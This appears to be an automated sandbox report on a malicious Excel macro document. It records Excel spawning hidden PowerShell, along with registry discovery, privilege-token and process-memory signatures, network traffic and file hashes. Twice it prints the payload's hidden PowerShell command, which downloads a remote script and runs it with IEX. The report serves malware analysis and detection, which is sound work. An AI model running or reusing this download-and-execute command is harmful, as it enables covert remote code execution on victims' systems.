Analysis Overview
SHA256
ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09
Threat Level: Known bad
The file ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Command and Scripting Interpreter: PowerShell
Suspicious Office macro
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious use of SetWindowsHookEx
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-03 21:03
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-03 21:03
Reported
2024-11-03 21:04
Platform
win7-20240903-en
Max time kernel
15s
Max time network
19s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2700 wrote to memory of 2992 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2700 wrote to memory of 2992 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2700 wrote to memory of 2992 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2700 wrote to memory of 2992 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"
Network
| Country | Destination | Domain | Proto |
| N/A | 127.0.0.1:8000 | tcp |
Files
memory/2700-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2700-1-0x0000000072B6D000-0x0000000072B78000-memory.dmp
memory/2700-2-0x0000000000770000-0x0000000000870000-memory.dmp
memory/2700-4-0x0000000000770000-0x0000000000870000-memory.dmp
memory/2700-3-0x0000000000770000-0x0000000000870000-memory.dmp
memory/2700-5-0x0000000000770000-0x0000000000870000-memory.dmp
memory/2700-8-0x0000000000770000-0x0000000000870000-memory.dmp
memory/2700-7-0x0000000000770000-0x0000000000870000-memory.dmp
memory/2700-11-0x0000000072B6D000-0x0000000072B78000-memory.dmp
memory/2700-12-0x0000000000770000-0x0000000000870000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-03 21:03
Reported
2024-11-03 21:05
Platform
win10v2004-20241007-en
Max time kernel
42s
Max time network
43s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2996 wrote to memory of 3952 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2996 wrote to memory of 3952 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.28.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 209.80.50.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| N/A | 127.0.0.1:8000 | tcp | |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.144.22.2.in-addr.arpa | udp |
Files
memory/2996-0-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp
memory/2996-1-0x00007FFB43C6D000-0x00007FFB43C6E000-memory.dmp
memory/2996-4-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp
memory/2996-3-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp
memory/2996-5-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp
memory/2996-2-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp
memory/2996-6-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-8-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-7-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-11-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-10-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-12-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-13-0x00007FFB01340000-0x00007FFB01350000-memory.dmp
memory/2996-9-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-14-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-17-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-18-0x00007FFB01340000-0x00007FFB01350000-memory.dmp
memory/2996-16-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-15-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-27-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-28-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/3952-31-0x0000020220780000-0x00000202207A2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqhne4sb.ey5.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2996-44-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
memory/2996-45-0x00007FFB43C6D000-0x00007FFB43C6E000-memory.dmp
memory/2996-51-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 07c7556a311061110771778bc27d790a |
| SHA1 | 1626761f67f5796823d394fcfd3117a40f8053a6 |
| SHA256 | 98e3115dfe329d57803a967a7dccf4df08dbc343e560bcbe0bbdcfe2395b4966 |
| SHA512 | b667395a9b82f8a01ac09f85ca23ebc9f4a34b123145e1c18df202a760e5cc6613ee6566fd199a953604bdd91834cccc13ee985bd2d076136fb55511f90178ac |